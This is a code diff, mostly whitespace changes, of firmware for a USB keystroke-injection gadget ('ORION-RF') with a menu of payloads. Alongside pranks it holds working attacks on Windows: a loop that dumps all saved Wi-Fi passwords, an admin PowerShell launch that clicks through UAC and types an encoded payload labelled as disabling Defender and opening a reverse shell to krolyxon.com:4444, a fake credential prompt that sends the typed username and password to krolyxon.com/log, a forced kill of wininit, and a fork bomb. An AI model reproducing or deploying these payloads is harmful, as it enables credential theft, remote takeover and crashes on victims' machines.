| 90 | + | runCommand("notepad"); | |
| 91 | 91 | ||
| 92 | − | delay(2500); | |
| 92 | + | delay(2500); | |
| 93 | 93 | ||
| 94 | − | typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ "); | |
| 95 | − | Keyboard.write(KEY_RETURN); | |
| 94 | + | typeSlow(" ____ _____ _____ ___ ___ _ _ ____ _____ "); | |
| 95 | + | Keyboard.write(KEY_RETURN); | |
| 96 | 96 | ||
| 97 | − | typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|"); | |
| 98 | − | Keyboard.write(KEY_RETURN); | |
| 97 | + | typeSlow(" / __ \\| __ \\|_ _|_ _/ _ \\| \\ | | | _ \\| ___|"); | |
| 98 | + | Keyboard.write(KEY_RETURN); | |
| 99 | 99 | ||
| 100 | − | typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ "); | |
| 101 | − | Keyboard.write(KEY_RETURN); | |
| 100 | + | typeSlow("| | | | |__) | | | | | | | | \\| |_____| |_) | |_ "); | |
| 101 | + | Keyboard.write(KEY_RETURN); | |
| 102 | 102 | ||
| 103 | − | typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| "); | |
| 104 | − | Keyboard.write(KEY_RETURN); | |
| 103 | + | typeSlow("| | | | _ / | | | | | | | . ` |_____| _ <| _| "); | |
| 104 | + | Keyboard.write(KEY_RETURN); | |
| 105 | 105 | ||
| 106 | − | typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | "); | |
| 107 | − | Keyboard.write(KEY_RETURN); | |
| 106 | + | typeSlow("| |__| | | \\ \\ _| |_ | | |_| | |\\ | | |_) | | "); | |
| 107 | + | Keyboard.write(KEY_RETURN); | |
| 108 | 108 | ||
| 109 | − | typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| "); | |
| 110 | − | Keyboard.write(KEY_RETURN); | |
| 109 | + | typeSlow(" \\____/|_| \\_\\_____|___\\___/|_| \\_| |____/|_| "); | |
| 110 | + | Keyboard.write(KEY_RETURN); | |
| 111 | 111 | ||
| 112 | − | Keyboard.write(KEY_RETURN); | |
| 112 | + | Keyboard.write(KEY_RETURN); | |
| 113 | 113 | ||
| 114 | − | typeSlow("[+] WIFI MODULE READY"); | |
| 115 | − | Keyboard.write(KEY_RETURN); | |
| 114 | + | typeSlow("[+] WIFI MODULE READY"); | |
| 115 | + | Keyboard.write(KEY_RETURN); | |
| 116 | 116 | ||
| 117 | − | typeSlow("[+] BLE MODULE READY"); | |
| 118 | − | Keyboard.write(KEY_RETURN); | |
| 117 | + | typeSlow("[+] BLE MODULE READY"); | |
| 118 | + | Keyboard.write(KEY_RETURN); | |
| 119 | 119 | ||
| 120 | − | typeSlow("[+] SUBGHZ MODULE READY"); | |
| 121 | − | Keyboard.write(KEY_RETURN); | |
| 120 | + | typeSlow("[+] SUBGHZ MODULE READY"); | |
| 121 | + | Keyboard.write(KEY_RETURN); | |
| 122 | 122 | ||
| 123 | − | typeSlow("[+] NFC MODULE READY"); | |
| 124 | − | Keyboard.write(KEY_RETURN); | |
| 123 | + | typeSlow("[+] NFC MODULE READY"); | |
| 124 | + | Keyboard.write(KEY_RETURN); | |
| 125 | 125 | ||
| 126 | − | typeSlow("[+] HID ENGINE READY"); | |
| 127 | − | Keyboard.write(KEY_RETURN); | |
| 126 | + | typeSlow("[+] HID ENGINE READY"); | |
| 127 | + | Keyboard.write(KEY_RETURN); | |
| 128 | 128 | ||
| 129 | − | break; | |
| 129 | + | break; | |
| 130 | 130 | ||
| 131 | − | // ================= RICKROLL ================= | |
| 132 | − | case 1: | |
| 133 | − | showRunningScreen("RickRoll"); | |
| 131 | + | // ================= RICKROLL ================= | |
| 132 | + | case 1: | |
| 133 | + | showRunningScreen("RickRoll"); | |
| 134 | 134 | ||
| 135 | − | runCommand("cmd"); | |
| 135 | + | runCommand("cmd"); | |
| 136 | 136 | ||
| 137 | − | delay(700); | |
| 137 | + | delay(700); | |
| 138 | 138 | ||
| 139 | − | typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); | |
| 140 | − | Keyboard.write(KEY_RETURN); | |
| 139 | + | typeSlow("start https://www.youtube.com/watch?v=dQw4w9WgXcQ"); | |
| 140 | + | Keyboard.write(KEY_RETURN); | |
| 141 | 141 | ||
| 142 | − | break; | |
| 142 | + | break; | |
| 143 | 143 | ||
| 144 | − | // ================= MATRIX ================= | |
| 145 | − | case 2: | |
| 146 | − | showRunningScreen("Matrix"); | |
| 144 | + | // ================= MATRIX ================= | |
| 145 | + | case 2: | |
| 146 | + | showRunningScreen("Matrix"); | |
| 147 | 147 | ||
| 148 | − | runCommand("cmd"); | |
| 148 | + | runCommand("cmd"); | |
| 149 | 149 | ||
| 150 | − | delay(700); | |
| 150 | + | delay(700); | |
| 151 | 151 | ||
| 152 | − | typeSlow("color 0A"); | |
| 153 | − | Keyboard.write(KEY_RETURN); | |
| 152 | + | typeSlow("color 0A"); | |
| 153 | + | Keyboard.write(KEY_RETURN); | |
| 154 | 154 | ||
| 155 | − | typeSlow("mode con: cols=120 lines=40"); | |
| 156 | − | Keyboard.write(KEY_RETURN); | |
| 155 | + | typeSlow("mode con: cols=120 lines=40"); | |
| 156 | + | Keyboard.write(KEY_RETURN); | |
| 157 | 157 | ||
| 158 | − | typeSlow(":A"); | |
| 159 | − | Keyboard.write(KEY_RETURN); | |
| 158 | + | typeSlow(":A"); | |
| 159 | + | Keyboard.write(KEY_RETURN); | |
| 160 | 160 | ||
| 161 | − | typeSlow("echo %random%%random%%random%%random%%random%"); | |
| 162 | − | Keyboard.write(KEY_RETURN); | |
| 161 | + | typeSlow("echo %random%%random%%random%%random%%random%"); | |
| 162 | + | Keyboard.write(KEY_RETURN); | |
| 163 | 163 | ||
| 164 | − | typeSlow("goto A"); | |
| 165 | − | Keyboard.write(KEY_RETURN); | |
| 164 | + | typeSlow("goto A"); | |
| 165 | + | Keyboard.write(KEY_RETURN); | |
| 166 | 166 | ||
| 167 | − | break; | |
| 167 | + | break; | |
| 168 | 168 | ||
| 169 | − | // ================= FAKE TERMINAL ================= | |
| 170 | − | case 3: | |
| 171 | − | showRunningScreen("Fake Terminal"); | |
| 169 | + | // ================= FAKE TERMINAL ================= | |
| 170 | + | case 3: | |
| 171 | + | showRunningScreen("Fake Terminal"); | |
| 172 | 172 | ||
| 173 | − | runCommand("cmd"); | |
| 173 | + | runCommand("cmd"); | |
| 174 | 174 | ||
| 175 | − | delay(700); | |
| 175 | + | delay(700); | |
| 176 | 176 | ||
| 177 | − | typeSlow("color 0A"); | |
| 178 | − | Keyboard.write(KEY_RETURN); | |
| 177 | + | typeSlow("color 0A"); | |
| 178 | + | Keyboard.write(KEY_RETURN); | |
| 179 | 179 | ||
| 180 | − | typeSlow("cls"); | |
| 181 | − | Keyboard.write(KEY_RETURN); | |
| 180 | + | typeSlow("cls"); | |
| 181 | + | Keyboard.write(KEY_RETURN); | |
| 182 | 182 | ||
| 183 | − | typeSlow("echo CONNECTING TO TARGET..."); | |
| 184 | − | Keyboard.write(KEY_RETURN); | |
| 183 | + | typeSlow("echo CONNECTING TO TARGET..."); | |
| 184 | + | Keyboard.write(KEY_RETURN); | |
| 185 | 185 | ||
| 186 | − | typeSlow("echo BYPASSING FIREWALL..."); | |
| 187 | − | Keyboard.write(KEY_RETURN); | |
| 186 | + | typeSlow("echo BYPASSING FIREWALL..."); | |
| 187 | + | Keyboard.write(KEY_RETURN); | |
| 188 | 188 | ||
| 189 | − | typeSlow("echo ACCESS GRANTED"); | |
| 190 | − | Keyboard.write(KEY_RETURN); | |
| 189 | + | typeSlow("echo ACCESS GRANTED"); | |
| 190 | + | Keyboard.write(KEY_RETURN); | |
| 191 | 191 | ||
| 192 | − | typeSlow("systeminfo"); | |
| 193 | − | Keyboard.write(KEY_RETURN); | |
| 192 | + | typeSlow("systeminfo"); | |
| 193 | + | Keyboard.write(KEY_RETURN); | |
| 194 | 194 | ||
| 195 | − | break; | |
| 195 | + | break; | |
| 196 | 196 | ||
| 197 | − | // ================= WIFI CRACK ================= | |
| 198 | − | // ================= WIFI PASSWORD RECOVERY ================= | |
| 199 | − | case 4: | |
| 200 | − | showRunningScreen("WiFi Recovery"); | |
| 197 | + | // ================= WIFI CRACK ================= | |
| 198 | + | // ================= WIFI PASSWORD RECOVERY ================= | |
| 199 | + | case 4: | |
| 200 | + | showRunningScreen("WiFi Recovery"); | |
| 201 | 201 | ||
| 202 | − | runCommand("cmd"); | |
| 203 | − | delay(700); | |
| 202 | + | runCommand("cmd"); | |
| 203 | + | delay(700); | |
| 204 | 204 | ||
| 205 | − | // Styling the window | |
| 206 | − | typeSlow("color 0A && mode con: cols=100 lines=30"); | |
| 207 | − | Keyboard.write(KEY_RETURN); | |
| 208 | − | delay(200); | |
| 205 | + | // Styling the window | |
| 206 | + | typeSlow("color 0A && mode con: cols=100 lines=30"); | |
| 207 | + | Keyboard.write(KEY_RETURN); | |
| 208 | + | delay(200); | |
| 209 | 209 | ||
| 210 | − | typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES..."); | |
| 211 | − | Keyboard.write(KEY_RETURN); | |
| 212 | − | delay(500); | |
| 210 | + | typeSlow("echo [!] EXTRACTING SAVED WIFI PROFILES..."); | |
| 211 | + | Keyboard.write(KEY_RETURN); | |
| 212 | + | delay(500); | |
| 213 | 213 | ||
| 214 | − | // The "Magic" Command: | |
| 215 | − | // This lists all profiles and shows the 'Key Content' (the password) in | |
| 216 | − | // clear text. We use a 'for' loop to automate this for every network the PC | |
| 217 | − | // has ever joined. | |
| 218 | − | typeSlow( | |
| 219 | − | "for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr " | |
| 220 | − | "/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" " | |
| 221 | − | "key=clear | findstr /C:\"Key Content\" /C:\"SSID name\""); | |
| 214 | + | // The "Magic" Command: | |
| 215 | + | // This lists all profiles and shows the 'Key Content' (the password) in | |
| 216 | + | // clear text. We use a 'for' loop to automate this for every network | |
| 217 | + | // the PC has ever joined. | |
| 218 | + | typeSlow( | |
| 219 | + | "for /f \"tokens=4,*\" %i in ('netsh wlan show profiles ^| findstr " | |
| 220 | + | "/C:\"All User Profile\"') do netsh wlan show profile name=\"%j\" " | |
| 221 | + | "key=clear | findstr /C:\"Key Content\" /C:\"SSID name\""); | |
| 222 | 222 | ||
| 223 | − | Keyboard.write(KEY_RETURN); | |
| 223 | + | Keyboard.write(KEY_RETURN); | |
| 224 | 224 | ||
| 225 | − | // Optional: Keep the window open to read the results | |
| 226 | − | typeSlow("echo. && echo [COMPLETE] Passwords listed above."); | |
| 227 | − | Keyboard.write(KEY_RETURN); | |
| 228 | − | ||
| 229 | − | break; | |
| 230 | − | ||
| 231 | − | // ================= FAKE UPDATE ================= | |
| 232 | − | case 5: | |
| 233 | − | showRunningScreen("Fake Update"); | |
| 234 | − | ||
| 235 | − | runCommand("cmd"); | |
| 236 | − | ||
| 237 | − | delay(700); | |
| 238 | − | ||
| 239 | − | typeSlow("start https://fakeupdate.net/win10u/"); | |
| 240 | − | Keyboard.write(KEY_RETURN); | |
| 241 | − | ||
| 242 | − | break; | |
| 225 | + | // Optional: Keep the window open to read the results | |
| 226 | + | typeSlow("echo. && echo [COMPLETE] Passwords listed above."); | |
| 227 | + | Keyboard.write(KEY_RETURN); | |
| 243 | 228 | ||
| 244 | − | // ================= FAKE BSOD ================= | |
| 245 | − | case 6: | |
| 246 | − | showRunningScreen("Critical Error"); | |
| 229 | + | break; | |
| 247 | 230 | ||
| 248 | − | runCommand("powershell -c \"stop-process -name wininit -force\""); | |
| 249 | − | break; | |
| 231 | + | // ================= FAKE UPDATE ================= | |
| 232 | + | case 5: | |
| 233 | + | showRunningScreen("Fake Update"); | |
| 250 | 234 | ||
| 251 | − | // ================= GLITCH SCREEN ================= | |
| 252 | − | case 7: | |
| 253 | − | showRunningScreen("Glitch"); | |
| 235 | + | runCommand("cmd"); | |
| 254 | 236 | ||
| 255 | − | runCommand("cmd"); | |
| 237 | + | delay(700); | |
| 256 | 238 | ||
| 257 | − | delay(700); | |
| 239 | + | typeSlow("start https://fakeupdate.net/win10u/"); | |
| 240 | + | Keyboard.write(KEY_RETURN); | |
| 258 | 241 | ||
| 259 | − | for (int i = 0; i < 20; i++) { | |
| 260 | − | typeSlow("color 4F"); | |
| 261 | − | Keyboard.write(KEY_RETURN); | |
| 242 | + | break; | |
| 262 | 243 | ||
| 263 | − | typeSlow("color 1F"); | |
| 264 | − | Keyboard.write(KEY_RETURN); | |
| 244 | + | // ================= FAKE BSOD ================= | |
| 245 | + | case 6: | |
| 246 | + | showRunningScreen("Critical Error"); | |
| 265 | 247 | ||
| 266 | − | typeSlow("cls"); | |
| 267 | − | Keyboard.write(KEY_RETURN); | |
| 268 | − | } | |
| 248 | + | runCommand("powershell -c \"stop-process -name wininit -force\""); | |
| 249 | + | break; | |
| 269 | 250 | ||
| 270 | − | break; | |
| 251 | + | // ================= GLITCH SCREEN ================= | |
| 252 | + | case 7: | |
| 253 | + | showRunningScreen("Glitch"); | |
| 271 | 254 | ||
| 272 | − | // ================= ASCII SPAM ================= | |
| 273 | − | case 8: | |
| 274 | − | showRunningScreen("ASCII"); | |
| 255 | + | runCommand("cmd"); | |
| 275 | 256 | ||
| 276 | − | runCommand("notepad"); | |
| 257 | + | delay(700); | |
| 277 | 258 | ||
| 278 | − | delay(2000); | |
| 259 | + | for (int i = 0; i < 20; i++) { | |
| 260 | + | typeSlow("color 4F"); | |
| 261 | + | Keyboard.write(KEY_RETURN); | |
| 279 | 262 | ||
| 280 | − | for (int i = 0; i < 15; i++) { | |
| 281 | − | typeSlow("######### ORION-RF #########"); | |
| 282 | − | Keyboard.write(KEY_RETURN); | |
| 263 | + | typeSlow("color 1F"); | |
| 264 | + | Keyboard.write(KEY_RETURN); | |
| 283 | 265 | ||
| 284 | − | typeSlow(">>> SIGNAL ACQUIRED <<<"); | |
| 285 | − | Keyboard.write(KEY_RETURN); | |
| 266 | + | typeSlow("cls"); | |
| 267 | + | Keyboard.write(KEY_RETURN); | |
| 268 | + | } | |
| 286 | 269 | ||
| 287 | − | typeSlow("[|||||||||||||||||||||||||]"); | |
| 288 | − | Keyboard.write(KEY_RETURN); | |
| 270 | + | break; | |
| 289 | 271 | ||
| 290 | − | Keyboard.write(KEY_RETURN); | |
| 272 | + | // ================= ASCII SPAM ================= | |
| 273 | + | case 8: | |
| 274 | + | showRunningScreen("ASCII"); | |
| 275 | + | ||
| 276 | + | runCommand("notepad"); | |
| 277 | + | ||
| 278 | + | delay(2000); | |
| 279 | + | ||
| 280 | + | for (int i = 0; i < 15; i++) { | |
| 281 | + | typeSlow("######### ORION-RF #########"); | |
| 282 | + | Keyboard.write(KEY_RETURN); | |
| 283 | + | ||
| 284 | + | typeSlow(">>> SIGNAL ACQUIRED <<<"); | |
| 285 | + | Keyboard.write(KEY_RETURN); | |
| 286 | + | ||
| 287 | + | typeSlow("[|||||||||||||||||||||||||]"); | |
| 288 | + | Keyboard.write(KEY_RETURN); | |
| 289 | + | ||
| 290 | + | Keyboard.write(KEY_RETURN); | |
| 291 | + | } | |
| 292 | + | ||
| 293 | + | break; | |
| 294 | + | ||
| 295 | + | // ================= HACKER TYPER ================= | |
| 296 | + | case 9: | |
| 297 | + | showRunningScreen("Hacker Typer"); | |
| 298 | + | ||
| 299 | + | runCommand("cmd"); | |
| 300 | + | ||
| 301 | + | delay(700); | |
| 302 | + | ||
| 303 | + | typeSlow("start https://hackertyper.net/"); | |
| 304 | + | Keyboard.write(KEY_RETURN); | |
| 305 | + | ||
| 306 | + | break; | |
| 307 | + | // ================= POWERSHELL REVERSE SHELL ================= | |
| 308 | + | // ================= DEFENDER BYPASS + NC ================= | |
| 309 | + | case 10: | |
| 310 | + | showRunningScreen("Pwn Mode v2"); | |
| 311 | + | ||
| 312 | + | // 1. Open Admin PowerShell | |
| 313 | + | Keyboard.press(KEY_LEFT_GUI); | |
| 314 | + | Keyboard.press('r'); | |
| 315 | + | delay(150); | |
| 316 | + | Keyboard.releaseAll(); | |
| 317 | + | delay(500); | |
| 318 | + | ||
| 319 | + | // Open Admin Prompt - using 'powershell' directly to save space | |
| 320 | + | typeSlow("powershell Start-Process powershell -Verb runAs"); | |
| 321 | + | Keyboard.write(KEY_RETURN); | |
| 322 | + | delay(2500); // Wait for UAC | |
| 323 | + | ||
| 324 | + | // 2. Bypass UAC (Left Arrow + Enter) | |
| 325 | + | Keyboard.write(KEY_LEFT_ARROW); | |
| 326 | + | delay(200); | |
| 327 | + | Keyboard.write(KEY_RETURN); | |
| 328 | + | delay(3000); // Give the Admin window time to load | |
| 329 | + | ||
| 330 | + | // 3. AMSI Bypass + Disable Defender + Execute Shell | |
| 331 | + | // We use -EncodedCommand to hide the script from simple string | |
| 332 | + | // scanners. The Base64 string below contains: Set-MpPreference | |
| 333 | + | // -DisableRealtimeMonitoring $true; [Reverse Shell Logic] | |
| 334 | + | ||
| 335 | + | typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden " | |
| 336 | + | "-EncodedCommand "); | |
| 337 | + | ||
| 338 | + | // This is the encoded payload for krolyxon.com:4444 | |
| 339 | + | typeSlow("JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5A" | |
| 340 | + | "FMAdAByAG" | |
| 341 | + | "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA" | |
| 342 | + | "2ADQAUwB0" | |
| 343 | + | "AHIAaQBuAGcAKAAiAEgA" | |
| 344 | + | "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkA" | |
| 345 | + | "cwB0AGUAb" | |
| 346 | + | "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0AC" | |
| 347 | + | "gAJwBrAHI" | |
| 348 | + | "AbwBsAHkAeABvAG4A" | |
| 349 | + | "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkA" | |
| 350 | + | "GMAbABpAG" | |
| 351 | + | "UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQB" | |
| 352 | + | "dACQAYgB5" | |
| 353 | + | "AHQAZQBzACAAPQA" | |
| 354 | + | "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQA" | |
| 355 | + | "aQAgAD0AI" | |
| 356 | + | "AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwAC" | |
| 357 | + | "wAIAAkAGI" | |
| 358 | + | "AeQB0AGUAcwAuAEw" | |
| 359 | + | "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9" | |
| 360 | + | "ACAAKABOA" | |
| 361 | + | "GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcw" | |
| 362 | + | "B0AGUAbQA" | |
| 363 | + | "uAFQAZQB4AHQAL" | |
| 364 | + | "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG" | |
| 365 | + | "4AZwAoACQ" | |
| 366 | + | "AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAg" | |
| 367 | + | "AD0AIAAoA" | |
| 368 | + | "GkAZQB4ACAAJAB" | |
| 369 | + | "kAGEAdABhACAAMgA+" | |
| 370 | + | "ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZ" | |
| 371 | + | "ABiAGEAYw" | |
| 372 | + | "BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwA" | |
| 373 | + | "gACsAK" | |
| 374 | + | "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAG" | |
| 375 | + | "IAeQB0AGU" | |
| 376 | + | "AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBT" | |
| 377 | + | "AEMASQBJA" | |
| 378 | + | "CkALgBHAGUAd" | |
| 379 | + | "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAG" | |
| 380 | + | "UAYQBhAG0" | |
| 381 | + | "ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBu" | |
| 382 | + | "AGQAYgB5A" | |
| 383 | + | "HQAZQAuAEwAZQB" | |
| 384 | + | "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsA" | |
| 385 | + | "JABjAGwAa" | |
| 386 | + | "WVudAAuAEMAbABvAHMAZQAoACkAIgApACkAOwBJAG4AdgBvAGsAZQAtAEUAeA" | |
| 387 | + | "BwAHIAZQB" | |
| 388 | + | "zAHMAaQBvAG4AIAAoAFsAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4ARQBuAGMA" | |
| 389 | + | "bwBkAGkAb" | |
| 390 | + | "gBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAGuAZwAoACQAcwAuAF" | |
| 391 | + | "QAbwBBAHI" | |
| 392 | + | "AcgBhAHkAKAApACkAKQA="); | |
| 393 | + | ||
| 394 | + | Keyboard.write(KEY_RETURN); | |
| 395 | + | break; | |
| 396 | + | // ================= CREDENTIAL SNATCHER ================= | |
| 397 | + | case 11: | |
| 398 | + | showRunningScreen("Vault Crack"); | |
| 399 | + | ||
| 400 | + | // Open hidden PowerShell | |
| 401 | + | runCommand( | |
| 402 | + | "powershell -nop -W Hidden -c \"$cred = " | |
| 403 | + | "$host.ui.PromptForCredential('Windows Security','Please " | |
| 404 | + | "authenticate " | |
| 405 | + | "to update your system credentials.','',''); $p = " | |
| 406 | + | "$cred.GetNetworkCredential().Password; $u = $cred.UserName; " | |
| 407 | + | "Invoke-WebRequest -Uri " | |
| 408 | + | "'http://krolyxon.com/log?u='+$u+'&p='+$p\""); | |
| 409 | + | ||
| 410 | + | break; | |
| 411 | + | // ================= DESKTOP GHOST ================= | |
| 412 | + | case 12: | |
| 413 | + | showRunningScreen("Ghost Mode"); | |
| 414 | + | ||
| 415 | + | runCommand( | |
| 416 | + | "powershell -nop -W Hidden -c \"Add-Type -AssemblyName " | |
| 417 | + | "System.Windows.Forms; " | |
| 418 | + | "[System.Windows.Forms.SendKeys]::SendWait('{PRTSC}'); " | |
| 419 | + | "Start-Sleep -s 1; $path = '$env:TEMP\\bg.png'; (Get-Clipboard " | |
| 420 | + | "-Format Image).Save($path); Set-ItemProperty -Path " | |
| 421 | + | "'HKCU:\\Control Panel\\Desktop' -Name Wallpaper -Value $path; " | |
| 422 | + | "rundll32.exe user32.dll,UpdatePerUserSystemParameters;\""); | |
| 423 | + | ||
| 424 | + | // Hide Desktop Icons (requires a registry tweak) | |
| 425 | + | typeSlow( | |
| 426 | + | "reg add " | |
| 427 | + | "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Adv" | |
| 428 | + | "anced /v HideIcons /t REG_DWORD /d 1 /f && taskkill /f /im " | |
| 429 | + | "explorer.exe && start explorer.exe"); | |
| 430 | + | Keyboard.write(KEY_RETURN); | |
| 431 | + | ||
| 432 | + | break; | |
| 433 | + | // ================= FORK BOMB ================= | |
| 434 | + | case 13: | |
| 435 | + | showRunningScreen("System Stress"); | |
| 436 | + | ||
| 437 | + | runCommand("cmd"); | |
| 438 | + | delay(500); | |
| 439 | + | ||
| 440 | + | // The shortest deadly command in Windows | |
| 441 | + | typeSlow("%0|%0"); | |
| 442 | + | Keyboard.write(KEY_RETURN); | |
| 443 | + | ||
| 444 | + | break; | |
| 291 | 445 | } | |
| 292 | − | ||
| 293 | − | break; | |
| 294 | − | ||
| 295 | − | // ================= HACKER TYPER ================= | |
| 296 | − | case 9: | |
| 297 | − | showRunningScreen("Hacker Typer"); | |
| 298 | − | ||
| 299 | − | runCommand("cmd"); | |
| 300 | − | ||
| 301 | − | delay(700); | |
| 302 | − | ||
| 303 | − | typeSlow("start https://hackertyper.net/"); | |
| 304 | − | Keyboard.write(KEY_RETURN); | |
| 305 | − | ||
| 306 | − | break; | |
| 307 | − | // ================= POWERSHELL REVERSE SHELL ================= | |
| 308 | − | // ================= DEFENDER BYPASS + NC ================= | |
| 309 | − | case 10: | |
| 310 | − | showRunningScreen("Pwn Mode v2"); | |
| 311 | − | ||
| 312 | − | // 1. Open Admin PowerShell | |
| 313 | − | Keyboard.press(KEY_LEFT_GUI); | |
| 314 | − | Keyboard.press('r'); | |
| 315 | − | delay(150); | |
| 316 | − | Keyboard.releaseAll(); | |
| 317 | − | delay(500); | |
| 318 | − | ||
| 319 | − | // Open Admin Prompt - using 'powershell' directly to save space | |
| 320 | − | typeSlow("powershell Start-Process powershell -Verb runAs"); | |
| 321 | − | Keyboard.write(KEY_RETURN); | |
| 322 | − | delay(2500); // Wait for UAC | |
| 323 | − | ||
| 324 | − | // 2. Bypass UAC (Left Arrow + Enter) | |
| 325 | − | Keyboard.write(KEY_LEFT_ARROW); | |
| 326 | − | delay(200); | |
| 327 | − | Keyboard.write(KEY_RETURN); | |
| 328 | − | delay(3000); // Give the Admin window time to load | |
| 329 | − | ||
| 330 | − | // 3. AMSI Bypass + Disable Defender + Execute Shell | |
| 331 | − | // We use -EncodedCommand to hide the script from simple string scanners. | |
| 332 | − | // The Base64 string below contains: | |
| 333 | − | // Set-MpPreference -DisableRealtimeMonitoring $true; [Reverse Shell Logic] | |
| 334 | − | ||
| 335 | − | typeSlow("powershell -ExecutionPolicy Bypass -WindowStyle Hidden " | |
| 336 | − | "-EncodedCommand "); | |
| 337 | − | ||
| 338 | − | // This is the encoded payload for krolyxon.com:4444 | |
| 339 | − | typeSlow( | |
| 340 | − | "JABzAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAEkATwAuAE0AZQBtAG8AcgB5AFMAdAByAG" | |
| 341 | − | "UAYQBtACgAWwBDAG8AbgB2AGUAcgB0AF0AOgA6AEYAcgBvAG0AQgBhAHMAZQA2ADQAUwB0" | |
| 342 | − | "AHIAaQBuAGcAKAAiAEgA" | |
| 343 | − | "NABDAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAb" | |
| 344 | − | "QAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAFQAbABpAGUAbgB0ACgAJwBrAHI" | |
| 345 | − | "AbwBsAHkAeABvAG4A" | |
| 346 | − | "LgBjAG8AbQAnACwANAA0ADQANAApADsAJABzAHQAcgBlAGEAbQAgAD0AIAAkAGMAbABpAG" | |
| 347 | − | "UAbgB0AC4ARwBlAHQAUwB0AHIAZQBhAG0AKAApADsAWwBiAHkAdABlAFsAXQBdACQAYgB5" | |
| 348 | − | "AHQAZQBzACAAPQA" | |
| 349 | − | "gADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AI" | |
| 350 | − | "AAkAHMAdAByAGUAYQBtAC4AUgBlAGEAZAAoACQAYgB5AHQAZQBzACwAIAAwACwAIAAkAGI" | |
| 351 | − | "AeQB0AGUAcwAuAEw" | |
| 352 | − | "AZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAYQB0AGEAIAA9ACAAKABOA" | |
| 353 | − | "GUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQA" | |
| 354 | − | "uAFQAZQB4AHQAL" | |
| 355 | − | "gBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQ" | |
| 356 | − | "AYgB5AHQAZQBzACwAMAAsACAAJABpACkAOwAkAHMAZQBuAGQAYgBhAGMAawAgAD0AIAAoA" | |
| 357 | − | "GkAZQB4ACAAJAB" | |
| 358 | − | "kAGEAdABhACAAMgA+" | |
| 359 | − | "ACYAMQAgAHwAIABPAHUAdAAtAFMAdAByAGkAbgBnACAAKQA7ACQAcwBlAG4AZABiAGEAYw" | |
| 360 | − | "BrADIAIAAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAK" | |
| 361 | − | "ABwAHcAZAApAC4AUABhAHQAaAAgACsAIAAnAD4AIAAnADsAJABzAGUAbgBkAGIAeQB0AGU" | |
| 362 | − | "AIAA9ACAAKABbAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBuAGcAXQA6ADoAQQBTAEMASQBJA" | |
| 363 | − | "CkALgBHAGUAd" | |
| 364 | − | "ABCAHkAdABlAHMAKAAkAHMAZQBuAGQAYgBhAGMAawAyACkAOwAkAHMAdAByAGUAYQBhAG0" | |
| 365 | − | "ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5A" | |
| 366 | − | "HQAZQAuAEwAZQB" | |
| 367 | − | "uAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAa" | |
